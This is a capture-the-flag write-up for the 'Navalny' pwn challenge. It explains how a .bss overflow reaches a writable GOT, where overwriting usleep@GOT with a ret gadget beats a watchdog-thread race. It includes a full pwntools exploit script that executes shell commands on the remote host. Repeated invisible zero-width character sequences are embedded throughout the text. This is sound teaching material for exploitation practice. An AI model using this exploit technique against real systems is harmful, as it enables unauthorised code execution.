← Back to Writeups
CUSTOMMediumpwn

Navalny (ret2libc 10)

XESXOR9/2/20266 min read
#pwn#custom#medium#gets_buffer_overflow#got_overwrite#race_condition_defeat#ret_gadget_got_patch#usleep_neutralization

Navalny (ret2libc 10)

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: gets_buffer_overflow, got_overwrite, race_condition_defeat, ret_gadget_got_patch, usleep_neutralization

Summary

Task: NON-PIE x86-64 ELF with NO RELRO; an unbounded gets() into a fixed .bss buffer sits just below the GOT, while a pthread watchdog runs kill -9 $PPID ~9.7s after start — before main reaches the winning second gets()->system() at ~12.2s. Solution: overflow the .bss buffer into the GOT, overwrite usleep@GOT with a binary ret gadget so main's 6s usleep returns instantly (defeating the kill-thread race), while rewriting all other clobbered GOT entries back to their leaked libc addresses, then buffer cat /flag* as the second line that system() executes.

Navalny (ret2libc 10) — pwn_spbctf

Description

Help Navalny survive his ride!

nc 109.233.56.90 11625 Author: Vlad Roskov (mrvos). Libc-2.31.so provided (Debian glibc 2.31-3).

A 64-bit x86-64 ELF navalny.elf, themed around an airplane ride and a nerve agent. Remote pwn — the flag is in /flag.txt. The challenge is a race against a watchdog thread rather than a classic memory-corruption-to-shell.

Analysis

Protections: NON-PIE (loaded at 0x400000), stack CANARY present, NO RELRO (GOT is writable), NX. ASLR is off on the remote, so the libc base is a constant (0x7ffff7de3000), and the startup even dumps it for you via system("cat /proc/$PPID/maps"). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Relevant functions: main @0x401219, novichok_action @0x401192.

The win condition

main calls gets() twice into the same fixed .bss buffer 0x4032d8:

  1. 1st gets @0x40131a → only printf("You shout: %s\nLet's check if you're still alive...") — a harmless echo.
  2. 2nd gets @0x401360 → system(0x4032d8) — runs your input as a shell command. This is the win: just feed it cat /flag.txt.

So "exploitation" is trivial if you can reach the 2nd gets. The whole challenge is reaching it in time. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The watchdog race

A pthread novichok_action is created late in main. It does: usleep, then a 5..0 countdown (1 second each, printing "%d..."), then system("kill -9 $PPID") — i.e. it kills the process ~6–10s after the thread starts.

main itself is full of fixed usleep delays (0.5s, 1s, 1s, 3.5s, and a 6s usleep(0x5b8d80) right before the 2nd gets). Measured timeline:

EventTime
1st gets / printf~6.2s
watchdog kill -9 $PPID~9.7s
2nd gets / system() (would be)~12.2s
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The process is "Killed" at ~9.7s, before the winning system() at ~12.2s. Sending input fast or pre-buffering both input lines does not help — the fixed usleeps dominate the timeline. The race cannot be out-run.

The bug that lets us win

The 1st gets() into .bss buffer 0x4032d8 is UNBOUNDED. The .got.plt sits just above that buffer:

0x4032d8  buffer (gets target)
...
0x4034f8  puts@GOT
0x403500  __stack_chk_fail@GOT
0x403508  system@GOT
0x403510  printf@GOT
0x403518  gets@GOT
0x403520  setvbuf@GOT
0x403528  usleep@GOT

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The GOT is only ~544 bytes (0x4034f8 - 0x4032d8 = 0x220) above the buffer, well within reach of the unbounded overflow. With NO RELRO the GOT is writable.

Solution

Defeat the race instead of out-running it. Overwrite usleep@GOT with a binary ret gadget so that main's 6-second usleep(0x5b8d80) before the 2nd gets returns instantly. Now main reaches system(0x4032d8) before the kill thread fires.

Critical detail: the overflow that reaches usleep@GOT also overwrites every GOT entry below it, and main still calls puts, __stack_chk_fail, system, printf, gets, setvbuf after the 1st gets. All of those must be written back to their correct resolved libc addresses, or you get a SIGSEGV. The real addresses come from the libc base (constant due to ASLR off; also leaked in the startup /proc/$PPID/maps dump) plus the provided libc-2.31.so symbol offsets. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Payload for the 1st gets:

[544 bytes junk]
puts@GOT             = base + puts        (preserve)
__stack_chk_fail@GOT = base + __stack_chk_fail (preserve)
system@GOT           = base + system      (preserve)
printf@GOT           = base + printf      (preserve)
gets@GOT             = base + gets         (preserve)
setvbuf@GOT          = base + setvbuf      (preserve)
usleep@GOT           = 0x401016 (ret gadget)  <-- KILLS the 6s sleep

Then the 2nd line buffered as the win command that system() executes: cat /flag*; cat flag*; cat /flag; ls -la /. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Single connection, single overflow at the 1st gets + a buffered 2nd-line command.

python
#!/usr/bin/env python3
# navalny: NON-PIE, NO RELRO. 1st gets() into .bss buffer 0x4032d8 with NO bounds.
# Overflow .bss into the GOT and overwrite usleep@GOT with a `ret` gadget so main's
# 6s usleep before the 2nd gets becomes instant, letting main reach the system()
# gets() before the novichok_action thread does kill -9 $PPID.
import sys, re, time
from pwn import *

context.log_level = 'info'
context.arch = 'amd64'
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

HOST, PORT = "109.233.56.90", 11625

BUF        = 0x4032d8
PUTS_GOT   = 0x4034f8
SCK_GOT    = 0x403500   # __stack_chk_fail
SYS_GOT    = 0x403508
PRF_GOT    = 0x403510
GETS_GOT   = 0x403518
SVB_GOT    = 0x403520
USLEEP_GOT = 0x403528
RET_GADGET = 0x401016   # ret in navalny.elf (.text)

libc = ELF('./libc-2.31.so', checksec=False)

def solve():
    io = remote(HOST, PORT)

    # ---- parse maps dump for libc base ----
    base = None
    data = b""
    deadline = time.time() + 5
    while time.time() < deadline and base is None:
        try:
            chunk = io.recv(timeout=1)
        except EOFError:
            break
        if not chunk:
            break
        data += chunk
        m = re.search(rb'([0-9a-f]+)-[0-9a-f]+ r--p 00000000 [0-9a-f:]+ \d+\s+/libc-2\.31\.so', data)
        if m:
            base = int(m.group(1), 16)
            break
    if base is None:
        base = 0x7ffff7de3000   # ASLR off -> constant fallback
        log.warning("maps not parsed; using fallback base")
    log.info("libc base = %#x", base)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    putsf = base + libc.symbols['puts']
    sckf  = base + libc.symbols['__stack_chk_fail']
    sysc  = base + libc.symbols['system']
    prnt  = base + libc.symbols['printf']
    getsf = base + libc.symbols['gets']
    setvb = base + libc.symbols['setvbuf']

    # ---- overflow payload for 1st gets ----
    pay  = b"A" * (PUTS_GOT - BUF)   # 0x220 = 544 bytes junk
    pay += p64(putsf)       # 0x4034f8 puts             (preserve)
    pay += p64(sckf)        # 0x403500 __stack_chk_fail (preserve)
    pay += p64(sysc)        # 0x403508 system           (preserve)
    pay += p64(prnt)        # 0x403510 printf           (preserve)
    pay += p64(getsf)       # 0x403518 gets             (preserve)
    pay += p64(setvb)       # 0x403520 setvbuf          (preserve)
    pay += p64(RET_GADGET)  # 0x403528 usleep -> ret    (KILL the sleep)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    assert b"\n" not in pay, "payload contains newline; gets would stop early"

    win = b"cat /flag*; cat flag*; cat /flag; ls -la /; id\n"
    io.send(pay + b"\n" + win)   # 1st gets = overflow, 2nd gets = win (buffered)

    out = b""
    try:
        while True:
            c = io.recv(timeout=8)
            if not c:
                break
            out += c
            sys.stdout.write(c.decode('latin1')); sys.stdout.flush()
            if b'spbctf{' in out:
                break
    except EOFError:
        pass
    io.close()
    m = re.search(rb'spbctf\{[^}]*\}', out)
    if m:
        log.success("FLAG: %s", m.group(0).decode())
        return m.group(0).decode()
    return None
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if __name__ == "__main__":
    for attempt in range(5):
        log.info("=== attempt %d ===", attempt + 1)
        try:
            flag = solve()
        except Exception as e:
            log.warning("attempt error: %s", e); flag = None
        if flag:
            print("\n\n>>> FLAG:", flag)
            break
        time.sleep(1)

The program then prints: Now you can do whatever you want: spbctf{...}. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍